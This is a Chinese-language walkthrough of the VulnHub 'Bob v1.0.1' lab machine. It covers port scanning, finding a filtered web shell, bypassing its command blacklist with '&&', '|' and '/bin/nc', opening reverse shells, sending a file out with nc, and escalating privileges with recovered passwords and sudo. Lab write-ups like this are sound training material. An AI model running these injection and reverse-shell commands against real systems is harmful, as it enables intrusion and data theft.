Bob_v1.0.1渗透实战
该靶机有意思的是如何绕过webshell命令执行,进而反弹shell后;在靶机中信息收集,提权,get flag!!!
信息收集
nmap -sS -Pn -A -p- -n 192.168.8.143
开放的端口和服务:
80/tcp open http
25468/tcp open ssh
访问http://192.168.8.143/robots.txt
,得到以下目录:
/login.php
/dev_shell.php
/lat_memo.html
/passwords.html
http://192.168.8.143/login.php
访问不到
http://192.168.8.143//lat_memo.html
用户Bob提示说有个webshell,想必就是dev_shell.php
http://192.168.8.143/passwords.html
有提示说:已将密码文件移出了服务器
右键下源码:
直接看下webshell:
http://192.168.8.143/dev_shell.php
是一个命令执行框,很多命令被禁了,whoami是可以用的
右键下源码:
dir爆目录
中途出现宕机,更换下靶机IP为:192.168.8.144
没有思绪了,先跑个目录,看下其他可疑目录
找到一处目录:http://192.168.8.144/news.html
右键查看源码中发现了:
SW4gb3RoZXIgbmV3cyBzb21lIGR1bWJhc3MgbWFkZSBhIGZpbGUgY2FsbGVkIHBhc3N3b3Jkcy5odG1sLCBjb21wbGV0ZWx5IGJyYWluZGVhZA0KDQotQm9i
拿去base64解码得:
In other news some dumbass made a file called passwords.html, completely braindead
-Bob
然而这正是之前的目录
http://192.168.8.143/passwords.html
绕过限制getshell
http://192.168.8.143/dev_shell.php
然而很多命令都被禁了
这里可以用ls
的升级版命令lsattr
,发现当前目录下存在dev_shell.php.bak
备份文件,直接down下来,审计源码
查看源码发现黑名单写死了
"pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc"
此外还发现了禁止执行带有";"的命令
绕过技巧有:
1、并列绕过(&&)
既然能够执行whoami命令,与其他命令用&&并列执行绕过
whoami&&nc 192.168.8.253 4444 -e /bin/sh
2、或绕过( | )
whoami | nc 192.168.8.253 4444 -e /bin/sh
3、bin/ 可执行文件来执行绕过
/bin/nc 192.168.8.253 4444 -e /bin/sh
在kali上开启nc监听,等待反弹:
nc -lvp 4444
反弹成功
用python切一下bash
python -c 'import pty;pty.spawn("/bin/bash")'
提权
进入root目录没有权限,先进入home目录下,查看当前的所有用户信息
发现了这些用户,
bob elliot jc seb
,而靶机提示的用户正是bob
在bob目录的Documents文件夹下发现了Secret login.txt.gpg staff.txt
发现login.txt.gpg是一个加密的 txt 文件,并没有权限使用
gpg -d login.txt.gpg
去解码
查看下staff.txt,貌似没啥用
继续进入Secret -> Keep_Out ->Not_Porn ->No_Lookie_In_Here 发现了notes.sh
#!/bin/bash
clear
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh "
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"
这大概是一首藏头诗,首个大写字母
密码“HARPOCRATES”
接下来有两种方法:
方法一:
我们拿到藏头诗的密码后,推测HARPOCRATES应该会是之前login.txt.gpg的密码,但本地禁用gpg -d login.txt.gpg
解密
用nc传文件到kali本机进行解码
kali接收端:
nc -lvp 4445 > login.txt.gpg
靶机发送端:
nc -w 3 192.168.8.253 4445 < login.txt.gpg
收到之后,在kali进行解密
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
解密后得到账号、密码
bob:b0bcat_
直接su bob
在 / 目录下发现了flag文件,但cat读不到
用sudo --list
查看下可执行的命令,列出用户特权
sudo cat flag.txt
拿到flag
方法二:
查看另一个用户elliot
发现了elliot已经将密码改为theadminisdumb
直接登录25468端口的ssh
ssh -p 25468 [email protected]
到了这一步,还是得去用得到的密码解login.txt.gpg后,登录bob,再getflag
总结
本次靶机渗透实战,虽然web渗透不多,但是一旦进入shell中,进行信息收集或者提权的时候,要熟练掌握nc反弹,nc传文件和一些sudo常用命令等
Bob_v1.0.1靶机下载地址:
https://download.vulnhub.com/bob/Bob_v1.0.1.ova